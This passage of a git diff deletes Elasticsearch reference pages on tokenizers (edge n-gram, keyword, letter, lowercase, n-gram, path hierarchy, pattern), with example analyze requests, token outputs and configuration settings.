-          "type": "edge_ngram",
-          "min_gram": 2,
-          "max_gram": 10,
-          "token_chars": [
-            "letter",
-            "digit"
-          ]
-        }
-      }
-    }
-  }
-}
-
-POST my-index-00001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "2 Quick Foxes."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "Qu",
-      "start_offset": 2,
-      "end_offset": 4,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "Qui",
-      "start_offset": 2,
-      "end_offset": 5,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "Quic",
-      "start_offset": 2,
-      "end_offset": 6,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "Quick",
-      "start_offset": 2,
-      "end_offset": 7,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "Fo",
-      "start_offset": 8,
-      "end_offset": 10,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "Fox",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "Foxe",
-      "start_offset": 8,
-      "end_offset": 12,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 8,
-      "end_offset": 13,
-      "type": "word",
-      "position": 7
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ Qu, Qui, Quic, Quick, Fo, Fox, Foxe, Foxes ]
----------------------------
-
-Usually we recommend using the same `analyzer` at index time and at search
-time. In the case of the `edge_ngram` tokenizer, the advice is different. It
-only makes sense to use the `edge_ngram` tokenizer at index time, to ensure
-that partial words are available for matching in the index. At search time,
-just search for the terms the user has typed in, for instance: `Quick Fo`.
-
-Below is an example of how to set up a field for _search-as-you-type_.
-
-Note that the `max_gram` value for the index analyzer is `10`, which limits
-indexed terms to 10 characters. Search terms are not truncated, meaning that
-search terms longer than 10 characters may not match any indexed terms.
-
-[source,console]
------------------------------------
-PUT my-index-00001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "autocomplete": {
-          "tokenizer": "autocomplete",
-          "filter": [
-            "lowercase"
-          ]
-        },
-        "autocomplete_search": {
-          "tokenizer": "lowercase"
-        }
-      },
-      "tokenizer": {
-        "autocomplete": {
-          "type": "edge_ngram",
-          "min_gram": 2,
-          "max_gram": 10,
-          "token_chars": [
-            "letter"
-          ]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "analyzer": "autocomplete",
-        "search_analyzer": "autocomplete_search"
-      }
-    }
-  }
-}
-
-PUT my-index-00001/_doc/1
-{
-  "title": "Quick Foxes" <1>
-}
-
-POST my-index-00001/_refresh
-
-GET my-index-00001/_search
-{
-  "query": {
-    "match": {
-      "title": {
-        "query": "Quick Fo", <2>
-        "operator": "and"
-      }
-    }
-  }
-}
------------------------------------
-
-<1> The `autocomplete` analyzer indexes the terms `[qu, qui, quic, quick, fo, fox, foxe, foxes]`.
-<2> The `autocomplete_search` analyzer searches for the terms `[quick, fo]`, both of which appear in the index.
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "took": $body.took,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.5753642,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.5753642,
-        "_source": {
-          "title": "Quick Foxes"
-        }
-      }
-    ]
-  }
-}
-----------------------------
-// TESTRESPONSE[s/"took".*/"took": "$body.took",/]
-/////////////////////
diff --git a/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc
deleted file mode 100644
index c4ee77458d8..00000000000
--- a/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc
+++ /dev/null
@@ -1,109 +0,0 @@
-[[analysis-keyword-tokenizer]]
-=== Keyword tokenizer
-++++
-<titleabbrev>Keyword</titleabbrev>
-++++
-
-The `keyword` tokenizer  is a ``noop'' tokenizer that accepts whatever text it
-is given and outputs the exact same text as a single term.  It can be combined
-with token filters to normalise output, e.g. lower-casing email addresses.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "keyword",
-  "text": "New York"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "New York",
-      "start_offset": 0,
-      "end_offset": 8,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following term:
-
-[source,text]
----------------------------
-[ New York ]
----------------------------
-
-[discrete]
-[[analysis-keyword-tokenizer-token-filters]]
-=== Combine with token filters
-You can combine the `keyword` tokenizer with token filters to normalise
-structured data, such as product IDs or email addresses.
-
-For example, the following <<indices-analyze,analyze API>> request uses the
-`keyword` tokenizer and <<analysis-lowercase-tokenfilter,`lowercase`>> filter to
-convert an email address to lowercase.
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "keyword",
-  "filter": [ "lowercase" ],
-  "text": "john.SMITH@example.COM"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "john.smith@example.com",
-      "start_offset": 0,
-      "end_offset": 22,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The request produces the following token:
-
-[source,text]
----------------------------
-[ john.smith@example.com ]
----------------------------
-
-
-[discrete]
-=== Configuration
-
-The `keyword` tokenizer accepts the following parameters:
-
-[horizontal]
-`buffer_size`::
-
-    The number of characters read into the term buffer in a single pass.
-    Defaults to `256`.  The term buffer will grow by this size until all the
-    text has been consumed.  It is advisable not to change this setting.
-
diff --git a/docs/reference/analysis/tokenizers/letter-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/letter-tokenizer.asciidoc
deleted file mode 100644
index c5b809fac1c..00000000000
--- a/docs/reference/analysis/tokenizers/letter-tokenizer.asciidoc
+++ /dev/null
@@ -1,124 +0,0 @@
-[[analysis-letter-tokenizer]]
-=== Letter tokenizer
-++++
-<titleabbrev>Letter</titleabbrev>
-++++
-
-The `letter` tokenizer breaks text into terms whenever it encounters a
-character which is not a letter. It does a reasonable job for most European
-languages, but does a terrible job for some Asian languages, where words are
-not separated by spaces.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "letter",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "Brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, QUICK, Brown, Foxes, jumped, over, the, lazy, dog, s, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `letter` tokenizer is not configurable.
diff --git a/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc
deleted file mode 100644
index ffe44292c52..00000000000
--- a/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[[analysis-lowercase-tokenizer]]
-=== Lowercase tokenizer
-++++
-<titleabbrev>Lowercase</titleabbrev>
-++++
-
-The `lowercase` tokenizer, like the
-<<analysis-letter-tokenizer, `letter` tokenizer>> breaks text into terms
-whenever it encounters a character which is not a letter, but it also
-lowercases all terms.  It is functionally equivalent to the
-<<analysis-letter-tokenizer, `letter` tokenizer>> combined with the
-<<analysis-lowercase-tokenfilter, `lowercase` token filter>>, but is more
-efficient as it performs both steps in a single pass.
-
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "lowercase",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ the, quick, brown, foxes, jumped, over, the, lazy, dog, s, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `lowercase` tokenizer is not configurable.
diff --git a/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc
deleted file mode 100644
index cd7f2fb7c74..00000000000
--- a/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc
+++ /dev/null
@@ -1,312 +0,0 @@
-[[analysis-ngram-tokenizer]]
-=== N-gram tokenizer
-++++
-<titleabbrev>N-gram</titleabbrev>
-++++
-
-The `ngram` tokenizer first breaks text down into words whenever it encounters
-one of a list of specified characters, then it emits
-{wikipedia}/N-gram[N-grams] of each word of the specified
-length.
-
-N-grams are like a sliding window that moves across the word - a continuous
-sequence of characters of the specified length. They are useful for querying
-languages that don't use spaces or that have long compound words, like German.
-
-[discrete]
-=== Example output
-
-With the default settings, the `ngram` tokenizer treats the initial text as a
-single token and produces N-grams with minimum length `1` and maximum length
-`2`:
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "ngram",
-  "text": "Quick Fox"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "Q",
-      "start_offset": 0,
-      "end_offset": 1,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "Qu",
-      "start_offset": 0,
-      "end_offset": 2,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "u",
-      "start_offset": 1,
-      "end_offset": 2,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "ui",
-      "start_offset": 1,
-      "end_offset": 3,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "i",
-      "start_offset": 2,
-      "end_offset": 3,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "ic",
-      "start_offset": 2,
-      "end_offset": 4,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "c",
-      "start_offset": 3,
-      "end_offset": 4,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "ck",
-      "start_offset": 3,
-      "end_offset": 5,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "k",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "k ",
-      "start_offset": 4,
-      "end_offset": 6,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": " ",
-      "start_offset": 5,
-      "end_offset": 6,
-      "type": "word",
-      "position": 10
-    },
-    {
-      "token": " F",
-      "start_offset": 5,
-      "end_offset": 7,
-      "type": "word",
-      "position": 11
-    },
-    {
-      "token": "F",
-      "start_offset": 6,
-      "end_offset": 7,
-      "type": "word",
-      "position": 12
-    },
-    {
-      "token": "Fo",
-      "start_offset": 6,
-      "end_offset": 8,
-      "type": "word",
-      "position": 13
-    },
-    {
-      "token": "o",
-      "start_offset": 7,
-      "end_offset": 8,
-      "type": "word",
-      "position": 14
-    },
-    {
-      "token": "ox",
-      "start_offset": 7,
-      "end_offset": 9,
-      "type": "word",
-      "position": 15
-    },
-    {
-      "token": "x",
-      "start_offset": 8,
-      "end_offset": 9,
-      "type": "word",
-      "position": 16
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ Q, Qu, u, ui, i, ic, c, ck, k, "k ", " ", " F", F, Fo, o, ox, x ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `ngram` tokenizer accepts the following parameters:
-
-[horizontal]
-`min_gram`::
-    Minimum length of characters in a gram.  Defaults to `1`.
-
-`max_gram`::
-    Maximum length of characters in a gram.  Defaults to `2`.
-
-`token_chars`::
-
-    Character classes that should be included in a token.  Elasticsearch
-    will split on characters that don't belong to the classes specified.
-    Defaults to `[]` (keep all characters).
-+
-Character classes may be any of the following:
-+
-* `letter` --      for example `a`, `b`, `ï` or `京`
-* `digit` --       for example `3` or `7`
-* `whitespace` --  for example `" "` or `"\n"`
-* `punctuation` -- for example `!` or `"`
-* `symbol` --      for example `$` or `√`
-* `custom` --      custom characters which need to be set using the
-`custom_token_chars` setting.
-
-`custom_token_chars`::
-
-    Custom characters that should be treated as part of a token. For example,
-    setting this to `+-_` will make the tokenizer treat the plus, minus and
-    underscore sign  as part of a token.
-
-TIP:  It usually makes sense to set `min_gram` and `max_gram` to the same
-value.  The smaller the length, the more documents will match but the lower
-the quality of the matches.  The longer the length, the more specific the
-matches.  A tri-gram (length `3`) is a good place to start.
-
-The index level setting `index.max_ngram_diff` controls the maximum allowed
-difference between `max_gram` and `min_gram`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `ngram` tokenizer to treat letters and
-digits as tokens, and to produce tri-grams (grams of length `3`):
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "ngram",
-          "min_gram": 3,
-          "max_gram": 3,
-          "token_chars": [
-            "letter",
-            "digit"
-          ]
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "2 Quick Foxes."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "Qui",
-      "start_offset": 2,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "uic",
-      "start_offset": 3,
-      "end_offset": 6,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "ick",
-      "start_offset": 4,
-      "end_offset": 7,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "Fox",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "oxe",
-      "start_offset": 9,
-      "end_offset": 12,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "xes",
-      "start_offset": 10,
-      "end_offset": 13,
-      "type": "word",
-      "position": 5
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ Qui, uic, ick, Fox, oxe, xes ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc
deleted file mode 100644
index 321d33d6f7c..00000000000
--- a/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc
+++ /dev/null
@@ -1,360 +0,0 @@
-[[analysis-pathhierarchy-tokenizer]]
-=== Path hierarchy tokenizer
-++++
-<titleabbrev>Path hierarchy</titleabbrev>
-++++
-
-The `path_hierarchy` tokenizer takes a hierarchical value like a filesystem
-path, splits on the path separator, and emits a term for each component in the
-tree.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "path_hierarchy",
-  "text": "/one/two/three"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "/one",
-      "start_offset": 0,
-      "end_offset": 4,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "/one/two",
-      "start_offset": 0,
-      "end_offset": 8,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "/one/two/three",
-      "start_offset": 0,
-      "end_offset": 14,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-
-The above text would produce the following terms:
-
-[source,text]
----------------------------
-[ /one, /one/two, /one/two/three ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `path_hierarchy` tokenizer accepts the following parameters:
-
-[horizontal]
-`delimiter`::
-    The character to use as the path separator.  Defaults to `/`.
-
-`replacement`::
-    An optional replacement character to use for the delimiter.
-    Defaults to the `delimiter`.
-
-`buffer_size`::
-    The number of characters read into the term buffer in a single pass.
-    Defaults to `1024`.  The term buffer will grow by this size until all the
-    text has been consumed.  It is advisable not to change this setting.
-
-`reverse`::
-    If set to `true`, emits the tokens in reverse order.  Defaults to `false`.
-
-`skip`::
-    The number of initial tokens to skip.  Defaults to `0`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `path_hierarchy` tokenizer to split on `-`
-characters, and to replace them with `/`.  The first two tokens are skipped:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "path_hierarchy",
-          "delimiter": "-",
-          "replacement": "/",
-          "skip": 2
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "one-two-three-four-five"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "/three",
-      "start_offset": 7,
-      "end_offset": 13,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "/three/four",
-      "start_offset": 7,
-      "end_offset": 18,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "/three/four/five",
-      "start_offset": 7,
-      "end_offset": 23,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ /three, /three/four, /three/four/five ]
----------------------------
-
-If we were to set `reverse` to `true`, it would produce the following:
-
-[source,text]
----------------------------
-[ one/two/three/, two/three/, three/ ]
----------------------------
-
-[discrete]
-[[analysis-pathhierarchy-tokenizer-detailed-examples]]
-=== Detailed examples
-
-A common use-case for the `path_hierarchy` tokenizer is filtering results by 
-file paths. If indexing a file path along with the data, the use of the 
-`path_hierarchy` tokenizer to analyze the path allows filtering the results 
-by different parts of the file path string.
-
-
-This example configures an index to have two custom analyzers and applies
-those analyzers to multifields of the `file_path` text field that will 
-store filenames. One of the two analyzers uses reverse tokenization.
-Some sample documents are then indexed to represent some file paths
-for photos inside photo folders of two different users.
-
-
-[source,console]
---------------------------------------------------
-PUT file-path-test
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "custom_path_tree": {
-          "tokenizer": "custom_hierarchy"
-        },
-        "custom_path_tree_reversed": {
-          "tokenizer": "custom_hierarchy_reversed"
-        }
-      },
-      "tokenizer": {
-        "custom_hierarchy": {
-          "type": "path_hierarchy",
-          "delimiter": "/"
-        },
-        "custom_hierarchy_reversed": {
-          "type": "path_hierarchy",
-          "delimiter": "/",
-          "reverse": "true"
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "file_path": {
-        "type": "text",
-        "fields": {
-          "tree": {
-            "type": "text",
-            "analyzer": "custom_path_tree"
-          },
-          "tree_reversed": {
-            "type": "text",
-            "analyzer": "custom_path_tree_reversed"
-          }
-        }
-      }
-    }
-  }
-}
-
-POST file-path-test/_doc/1
-{
-  "file_path": "/User/alice/photos/2017/05/16/my_photo1.jpg"
-}
-
-POST file-path-test/_doc/2
-{
-  "file_path": "/User/alice/photos/2017/05/16/my_photo2.jpg"
-}
-
-POST file-path-test/_doc/3
-{
-  "file_path": "/User/alice/photos/2017/05/16/my_photo3.jpg"
-}
-
-POST file-path-test/_doc/4
-{
-  "file_path": "/User/alice/photos/2017/05/15/my_photo1.jpg"
-}
-
-POST file-path-test/_doc/5
-{
-  "file_path": "/User/bob/photos/2017/05/16/my_photo1.jpg"
-}
---------------------------------------------------
-
-
-A search for a particular file path string against the text field matches all 
-the example documents, with Bob's documents ranking highest due to `bob` also 
-being one of the terms created by the standard analyzer boosting relevance for
-Bob's documents.
-
-[source,console]
---------------------------------------------------
-GET file-path-test/_search
-{
-  "query": {
-    "match": {
-      "file_path": "/User/bob/photos/2017/05"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-It's simple to match or filter documents with file paths that exist within a
-particular directory using the `file_path.tree` field.
-
-[source,console]
---------------------------------------------------
-GET file-path-test/_search
-{
-  "query": {
-    "term": {
-      "file_path.tree": "/User/alice/photos/2017/05/16"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-With the reverse parameter for this tokenizer, it's also possible to match
-from the other end of the file path, such as individual file names or a deep
-level subdirectory. The following example shows a search for all files named
-`my_photo1.jpg` within any directory via the `file_path.tree_reversed` field 
-configured to use the reverse parameter in the mapping.
-
-
-[source,console]
---------------------------------------------------
-GET file-path-test/_search
-{
-  "query": {
-    "term": {
-      "file_path.tree_reversed": {
-        "value": "my_photo1.jpg"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Viewing the tokens generated with both forward and reverse is instructive
-in showing the tokens created for the same file path value.
-
-
-[source,console]
---------------------------------------------------
-POST file-path-test/_analyze
-{
-  "analyzer": "custom_path_tree",
-  "text": "/User/alice/photos/2017/05/16/my_photo1.jpg"
-}
-
-POST file-path-test/_analyze
-{
-  "analyzer": "custom_path_tree_reversed",
-  "text": "/User/alice/photos/2017/05/16/my_photo1.jpg"
-}
---------------------------------------------------
-// TEST[continued]
-
-
-It's also useful to be able to filter with file paths when combined with other
-types of searches, such as this example looking for any files paths with `16` 
-that also must be in Alice's photo directory.
-
-[source,console]
---------------------------------------------------
-GET file-path-test/_search
-{
-  "query": {
-    "bool" : {
-      "must" : {
-        "match" : { "file_path" : "16" }
-      },
-      "filter": {
-        "term" : { "file_path.tree" : "/User/alice" }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
diff --git a/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc
deleted file mode 100644
index 112ba92bf59..00000000000
--- a/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc
+++ /dev/null
@@ -1,275 +0,0 @@
-[[analysis-pattern-tokenizer]]
-=== Pattern tokenizer
-++++
-<titleabbrev>Pattern</titleabbrev>
-++++
-
-The `pattern` tokenizer uses a regular expression to either split text into
-terms whenever it matches a word separator, or to capture matching text as
-terms.
-
-The default pattern is `\W+`, which splits text whenever it encounters
-non-word characters.
-
-[WARNING]
-.Beware of Pathological Regular Expressions
-========================================
-
-The pattern tokenizer uses
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java Regular Expressions].
-
-A badly written regular expression could run very slowly or even throw a
-StackOverflowError and cause the node it is running on to exit suddenly.
-
-Read more about https://www.regular-expressions.info/catastrophic.html[pathological regular expressions and how to avoid them].
-
-========================================
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "pattern",
-  "text": "The foo_bar_size's default is 5."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "foo_bar_size",
-      "start_offset": 4,
-      "end_offset": 16,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "s",
-      "start_offset": 17,
-      "end_offset": 18,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "default",
-      "start_offset": 19,
-      "end_offset": 26,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "is",
-      "start_offset": 27,
-      "end_offset": 29,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "5",
-      "start_offset": 30,
-      "end_offset": 31,
-      "type": "word",
-      "position": 5
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, foo_bar_size, s, default, is, 5 ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `pattern` tokenizer accepts the following parameters:
-
-[horizontal]
-`pattern`::
-
-    A https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java regular expression], defaults to `\W+`.
-
-`flags`::
-
-    Java regular expression https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html#field.summary[flags].
-    Flags should be pipe-separated, eg `"CASE_INSENSITIVE|COMMENTS"`.
-
-`group`::
-
-    Which capture group to extract as tokens.  Defaults to `-1` (split).
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `pattern` tokenizer to break text into
-tokens when it encounters commas:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "pattern",
-          "pattern": ","
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "comma,separated,values"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "comma",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "separated",
-      "start_offset": 6,
-      "end_offset": 15,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "values",
-      "start_offset": 16,
-      "end_offset": 22,
-      "type": "word",
-      "position": 2
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ comma, separated, values ]
----------------------------
-
-In the next example, we configure the `pattern` tokenizer to capture values
-enclosed in double quotes (ignoring embedded escaped quotes `\"`).  The regex
-itself looks like this:
-
-    "((?:\\"|[^"]|\\")*)"
-
-And reads as follows:
-
-* A literal `"`
-* Start capturing:
-** A literal `\"` OR any character except `"`
-** Repeat until no more characters match
-* A literal closing `"`
-
-When the pattern is specified in JSON, the `"` and `\` characters need to be
-escaped, so the pattern ends up looking like:
-
-    \"((?:\\\\\"|[^\"]|\\\\\")+)\"
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "pattern",
-          "pattern": "\"((?:\\\\\"|[^\"]|\\\\\")+)\"",
-          "group": 1
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "\"value\", \"value with embedded \\\" quote\""
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "value",
-      "start_offset": 1,
-      "end_offset": 6,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "value with embedded \\\" quote",
-      "start_offset": 10,
-      "end_offset": 38,
-      "type": "word",
-      "position": 1
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above example produces the following two terms:
-
